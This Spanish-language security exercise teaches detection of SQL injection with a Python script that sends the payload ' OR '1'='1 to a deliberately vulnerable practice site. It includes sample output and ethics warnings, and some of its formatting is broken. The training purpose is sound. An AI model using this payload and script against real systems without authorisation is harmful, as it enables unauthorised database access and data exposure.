

## Ejercicio Práctico: Detección Manual de SQL Injection Reflejada

---

### Descripción del ejercicio

Vas a realizar una prueba controlada de SQL Injection simulada sobre una URL vulnerable (real o de laboratorio), observando cómo una entrada maliciosa puede afectar el comportamiento de una aplicación web cuando **no hay validación de entrada del usuario**.

---

### Objetivos de aprendizaje

- Comprender el concepto básico de **inyección SQL clásica**.
  - Utilizar Python para enviar solicitudes HTTP con un payload simple.
  - Observar indicios de vulnerabilidad en la respuesta del servidor.
  - Reflexionar sobre la importancia de validar entradas en formularios web.
- 

### Instrucciones

Asegúrate de tener instalada la librería `requests`:

```
pip install requests
```

- 1.
2. Crea un script en Python que:
  - Envíe una solicitud `GET` a una URL con un parámetro vulnerable.
  - Inyecte un payload básico como: `' OR '1'='1`
  - Muestre el contenido de la respuesta.
3. Usa un entorno seguro o simulado como:

- <http://testphp.vulnweb.com/artists.php?artist=>
  - Una máquina virtual de pruebas (como DVWA, bWAPP o Juice Shop).
4. Analiza si la respuesta del servidor cambia al inyectar el payload.

---

### Payload de prueba sugerido

' OR '1'='1

---

### Consideraciones éticas

- **Nunca realices pruebas en sitios reales sin autorización explícita.**
- Este ejercicio está diseñado exclusivamente para laboratorios de aprendizaje o entornos vulnerables simulados.
- Toda prueba debe estar respaldada por consentimiento y documentación.

---

### Ejemplo de observación esperada

- Antes del payload: “No se encontró el artista solicitado.”
- Después del payload: se despliega toda la lista de artistas o una respuesta inesperada.

Eso indica que **el input fue interpretado como parte de la consulta SQL**, y por tanto, **hay una posible vulnerabilidad de tipo SQLi**.

---

### Solución de ejemplo: `sql_injection_test.py`

```
import requests
```

```
# URL de prueba (debe ser un entorno vulnerable de laboratorio o práctica)
```

```
url_base = "http://testphp.vulnweb.com/artists.php?artist="
```

# Payload de inyección SQL simple

```
payload = "' OR '1'='1"
```

# Construcción de la URL completa

```
url_vulnerable = url_base + payload
```

```
print(f"🔍 Enviando solicitud a:\n{url_vulnerable}\n")
```

# Enviar solicitud GET

```
response = requests.get(url_vulnerable)
```

# Mostrar resultados

```
if "sql" in response.text.lower() or "mysql" in response.text.lower():
```

```
    print("⚠️ Posible error SQL detectado en la respuesta.")
```

```
elif "Artist" in response.text:
```

```
    print("✅ Posible SQL Injection reflejada: se muestra más información de la esperada.")
```

```
else:
```

```
    print("ℹ️ No se observó un cambio aparente en la respuesta.")
```


# Vista parcial del contenido

```
print("\n📄 Fragmento de la respuesta:\n")
```


```
print(response.text[:800]) # mostrar solo los primeros 800 caracteres
```


---

🔧 **Posible salida en consola (en un entorno vulnerable):**

 Enviando solicitud a:

http://testphp.vulnweb.com/artists.php?artist=' OR '1'='1

 Posible SQL Injection reflejada: se muestra más información de la esperada.

 Fragmento de la respuesta:

```
<html>

<head><title>Artist details</title></head>

<body>

<h1>Artists:</h1>

<ul>

  <li>The Beatles</li>

  <li>Metallica</li>

  <li>Nirvana</li>

  ...
```

---

## Explicación técnica

- Se inyecta el clásico payload ' OR '1'='1', que altera la lógica SQL.
- Si el parámetro no está protegido, el backend interpreta la entrada como verdadera y devuelve datos de forma inesperada.
- El script evalúa pistas visibles en el contenido HTML para alertar al usuario sobre comportamientos anómalos.

---

## Consideraciones éticas

Este script solo debe utilizarse en laboratorios controlados, como DVWA o testphp.vulnweb.com, diseñados para educación y práctica de seguridad. Usar esta técnica en sitios reales sin autorización puede tener consecuencias legales.

---